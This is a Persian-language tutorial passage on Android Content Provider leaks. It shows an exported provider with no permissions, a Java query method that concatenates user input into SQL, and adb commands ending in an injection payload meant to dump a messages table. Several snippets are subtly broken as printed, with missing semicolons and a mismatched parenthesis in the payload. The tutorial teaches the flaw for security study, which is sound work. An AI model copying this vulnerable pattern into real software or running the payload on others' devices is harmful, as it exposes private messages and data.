Skip to content

۳. ارائه‌دهندگان محتوا (Content Providers): نشت دیتابیس ​

این‌ها مخازن داده هستند. اگر امنیت آن‌ها درست نباشد، اپلیکیشن‌های دیگر می‌توانند دیتای خصوصی (پیام‌ها، کانتکت‌ها، توکن‌ها) را بخوانند یا تغییر دهند.

  • سناریو حمله (SQL Injection): مهاجم به جای یک نام ساده، یک کوئری SQL مخرب به پرووایدر می‌فرستد تا تمام جدول کاربران را استخراج کند.
  • مثال در مانیفست:
xml
<provider 
    android:name=".UserDataProvider" 
    android:authorities="com.app.provider" 
    android:exported="true"
    android:readPermission="null" 
    android:writePermission="null">
</provider>
java
/* تعریف مسیرها */
private static final UriMatcher sUriMatcher = new UriMatcher(UriMatcher.NO_MATCH)

static {
    /* اینجا عدد 1 را به مسیر "messages" اختصاص می‌دهیم */    
    sUriMatcher.addURI("com.app.provider", "messages", 1)
    
    /* اینجا عدد 2 را به مسیر "profile" اختصاص می‌دهیم */    
    sUriMatcher.addURI("com.app.provider", "profile", 2)
}

حالا فقط سعی می‌کنیم تا به messages دسترسی پیدا کنیم!

bash
# در اینجا سعی می‌کنیم جدول پیام‌ها را بخوانیم #
adb shell content query --uri content://com.app.provider/messages

کد زیر به SQL Injection آسیب پذیر هست.

java
@Override
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    SQLiteDatabase db = dbHelper.getReadableDatabase()
    int match = sUriMatcher.match(uri)

    if (match == 1) { /* مسیر messages */ 
        /* فاجعه اینجاست: استفاده مستقیم از selection در کوئری */        
        String query = "SELECT * FROM messages WHERE " + selection 
        return db.rawQuery(query, null)
    }
    return null
}

با سوییچ --where سعی می‌کنیم Injection انجام دهیم.

bash
# حمله SQL Injection برای استخراج اطلاعات حساس #
adb shell content query --uri content://com.app.provider/messages --where "1=1) OR 1=1 --"